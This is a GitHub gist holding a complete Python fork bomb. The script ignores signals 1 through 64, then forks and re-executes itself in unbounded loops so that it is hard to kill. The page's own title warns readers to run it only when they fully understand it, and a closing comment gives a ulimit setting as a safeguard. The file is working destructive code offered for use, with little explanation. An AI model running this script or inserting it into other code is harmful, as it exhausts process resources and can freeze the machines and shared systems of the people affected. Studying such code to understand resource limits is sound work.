Skip to content

Instantly share code, notes, and snippets.

@lxylxy123456
Created November 10, 2019 00:15
Show Gist options
  • Save lxylxy123456/a5ae4eff12025fea0889d42f22c7c747 to your computer and use it in GitHub Desktop.
Save lxylxy123456/a5ae4eff12025fea0889d42f22c7c747 to your computer and use it in GitHub Desktop.
A fork bomb which ignores as many signals as possible (execute it only when you thoroughly know what it does)
#!/usr/bin/python3
import os, sys, signal
# print(os.getpid())
for i in range(1, 65) :
try :
signal.signal(i, signal.SIG_IGN)
except Exception :
pass
while True :
try :
os.fork()
break
except Exception :
pass
while True :
try :
os.execv(sys.argv[0], sys.argv)
break
except Exception :
pass
# To protect your OS: ulimit -u 10
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment